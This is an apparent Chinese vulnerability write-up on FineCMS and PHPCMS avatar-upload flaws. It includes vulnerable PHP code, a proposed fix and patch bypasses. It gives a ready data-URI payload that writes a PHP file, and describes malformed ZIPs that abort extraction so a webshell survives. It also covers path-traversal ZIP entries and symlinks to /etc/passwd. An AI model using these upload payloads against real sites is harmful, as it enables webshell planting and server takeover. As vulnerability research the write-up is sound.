finecms的四次upload
finecms是一个前期大量借鉴了phpcms的一个cms,所以phpcms曾经很火的头像上传漏洞也可以在finecms中复现
头像上传直接getshell
简单来说phpcms对头像上传是这么处理:上传上去的zip文件,它先解压好,然后删除非图片文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <?php
$file = $_FILES['file'];
if (!$file) { exit("请勿上传空文件"); }
$name = $file['name']; $dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
function check_dir($dir) { $handle = opendir($dir); while (($f = readdir($handle)) !== false) { if (!in_array($f, array('.', '..'))) { $ext = strtolower(substr(strrchr($f, '.'), 1)); if (!in_array($ext, array('jpg', 'gif', 'png'))) { unlink($dir . $f); } } } }
if (!is_dir($dir)) { mkdir($dir); }
$temp_dir = $dir . 'member/1/';
if (!is_dir($temp_dir)) { mkdir($temp_dir, 0777); }
if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) { if ($ext == 'zip') { $archive = new PclZip($file['tmp_name']); if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) { exit("解压失败"); } check_dir($temp_dir); exit('上传成功'); } else { move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']); exit('上传成功'); } } else { exit('仅允许上传zip、jpg、gif、png文件!'); }
|
代码漏洞分析
- check_dir函数非真正 “递归删除”,子目录恶意文件可绕过
问题:check_dir仅遍历一级目录的文件,若 ZIP 包中包含test/1.php(子目录 + 恶意脚本),代码不会进入test目录检测,导致1.php残留。
风险:攻击者可上传含子目录的 ZIP 包,留存 webshell 等恶意文件,直接控制服务器。 - 先解压后清理,存在 “竞争条件” 漏洞
问题:ZIP 包先完整解压(包括恶意文件),再执行check_dir清理。解压到清理的间隙,恶意文件短暂存在于服务器中。
风险:攻击者可通过脚本高频访问目标路径,在清理前成功执行恶意文件(如1.php),触发漏洞。 - 仅校验文件后缀,未验证文件内容(“伪图片” 可绕过)
问题:仅通过$ext判断文件类型(如jpg),但未校验文件实际内容。例如,将webshell.php改名为shell.jpg,会被当作图片放行。
风险:攻击者可上传 “改后缀的恶意脚本”,若后续被调用(如作为头像访问),可能被服务器解析执行(取决于服务器配置)。 - 文件路径拼接无过滤,可能存在路径遍历风险
问题:直接使用$file[‘name’]拼接路径(如$temp_dir . ‘/‘ . $file[‘name’]),若文件名含../等特殊字符,可能跳出目标目录。
风险:例如,文件名设为../shell.php,可能将文件写入服务器其他敏感目录(如网站根目录)。
由于该代码只实现了压缩包解压后对非图像文件的删除,忽略了压缩包中可能存在目录这种情况,导致我们直接构建一个这样的压缩包即可直接getshell
1 2 3 4 5
| 压缩包 |_ _ 文件夹 | |_ _ payload.php | |_ _ 正常的(.png/.jpg/.gif)图片
|
要修复这个漏洞,我们要在check_dir 中做递归判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function check_dir($dir) { $handle = opendir($dir); while (($f = readdir($handle)) !== false) { if (!in_array($f, array('.', '..'))) { $full_path = $dir . '/' . $f; if (is_dir($full_path)) { check_dir($full_path); } else { $ext = strtolower(substr(strrchr($f, '.'), 1)); if (!in_array($ext, array('jpg', 'gif', 'png'))) { unlink($full_path); } } } } closedir($handle); }
|
但是,我们的构造压缩包的方法真的被防御住了吗,实际上没有,代码逻辑是先上传,后check,那么我们就可以利用这之间的空隙,做文件竞争,依然可以getshell
之后呢,我们来分析 finecms 的代码
finecms:(\w) 导致getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| public function upload() {
$dir = dr_upload_temp_path().'member/'.$this->uid.'/'; @dr_dir_delete($dir); !is_dir($dir) && dr_mkdirs($dir);
if ($_POST['tx']) { $file = str_replace(' ', '+', $_POST['tx']); if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){ $new_file = $dir.'0x0.'.$result[2]; if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) { exit(dr_json(0, '目录权限不足')); } else { list($width, $height, $type, $attr) = getimagesize($new_file); if (!$type) { @unlink($new_file); exit(function_exists('iconv') ? iconv('UTF-8', 'GBK', '图片字符串不规范') : 'error3'); } $this->load->library('image_lib'); $config['create_thumb'] = TRUE; $config['thumb_marker'] = ''; $config['maintain_ratio'] = FALSE; $config['source_image'] = $new_file; foreach (array(30, 45, 90, 180) as $a) { $config['width'] = $config['height'] = $a; $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2]; $this->image_lib->initialize($config); if (!$this->image_lib->resize()) { exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors())); break; } }
$my = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/'; @dr_dir_delete($my); !is_dir($my) && dr_mkdirs($my);
$c = 0; if ($fp = @opendir($dir)) { while (FALSE !== ($file = readdir($fp))) { $ext = substr(strrchr($file, '.'), 1); if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) { if (copy($dir.$file, $my.$file)) { $c++; } } } closedir($fp); } if (!$c) { exit(dr_json(0, fc_lang('未找到目录中的图片'))); } } } else { exit(dr_json(0, '图片字符串不规范')); } } else { exit(dr_json(0, '图片不存在')); }
|
这个漏洞的核心代码在
1 2 3 4 5 6
| if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){ $new_file = $dir.'0x0.'.$result[2]; ......
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
|
在这个代码中,先用(\w+)来匹配 图片的类型,保存为 result[2],之后将 result[2] 拼接为后缀,而 \w 是匹配任意字符,而非特定的图片后缀,那我们可以想办法让 \w 的匹配为 php,来直接getshell
我们截取一个正常图片的传输内容
1
| tx=data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAAQgAAABdCAYAAABZwvgPAAAQAElEQVR4Aey993MdR7Ym.......
|
马上就可以写出我们的payload
1
| tx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
|
那继续我们的上传图片漏洞
finemcs补丁绕过
finecms意识到自己的问题,偷偷修补了这个安全问题。当时的他们是这样修复的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php // 创建图片存储的临时文件夹
$temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';
if (!file_exists($temp)) {
mkdir($temp, 0777);
}
$filename = $temp.'avatar.zip'; // 存储flashpost图片
file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);
// 解压缩文件
$this->load->library('Pclzip');
$this->pclzip->PclFile($filename);
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {
exit($this->pclzip->zip(true));
}
@unlink($filename);
|
这就是将压缩包放在一个随机命名的文件夹中再解压缩,这样你猜不到访问地址去getshell了。
我认为,直接保存在tmp目录下就可以避免这个问题
这个代码的逻辑是,在临时目录中解压,递归删除非图片文件,在网上可以找到两种思路
构造错误压缩包
既然代码是先解压,后删除,并且解压失败会直接退出函数,那么我们构造一个压缩包,可以解压出我们的恶意文件,但在解压正常文件的时候,出现报错,导致代码终止,使得恶意文件得以保存,但这个方法仍然需要你去猜目录名
那么我们又如何让ZipArchive出错呢?最简单的方法,我们可以在文件名上下功夫。
比如,Windows下不允许文件名中包含冒号(:),
我们就可以在010editor中将2.txt的deFileName属性的值改成“2.tx:”。

此时解压就会出错,但1.php被保留了下来。

在Linux下也有类似的方法,我们可以将文件名改成5个斜杠(/////)。
此时Linux下解压也会出错,但1.php被保留了下来


构造目录穿越文件名
示例代码
1 2 3 4 5 6 7 8
| $zip = new ZipArchive(); if ($zip->open($_FILES['file']['tmp_name']) === true) { $zip->extractTo($temp_dir); $zip->close(); check_dir($temp_dir); }
|
构造包含 ../../webshell.php、../config.php 甚至 ../../../../var/www/html/shell.php 的 ZIP 包,ZipArchive::extractTo() 会严格按照 ZIP 内的文件路径写入服务器:
- 服务器解析
$temp_dir . '/../../webshell.php' 后,文件会跳出 upload/member/1/ 目录,写入 upload/webshell.php; - 若 ZIP 内是
../admin/../../shell.php,会直接写入网站根目录,恶意文件一旦落地即可被执行。
ZipArchive 额外风险点
- 支持「符号链接(软链接)」:攻击者可在 ZIP 包内放入指向
/etc/passwd、/var/www/config.php 的软链接,解压后能读取 / 篡改服务器敏感文件; - 无内置路径过滤:
extractTo() 仅简单拼接路径,不会自动剔除 ../、..\ 等遍历符,完全依赖开发者手动防护。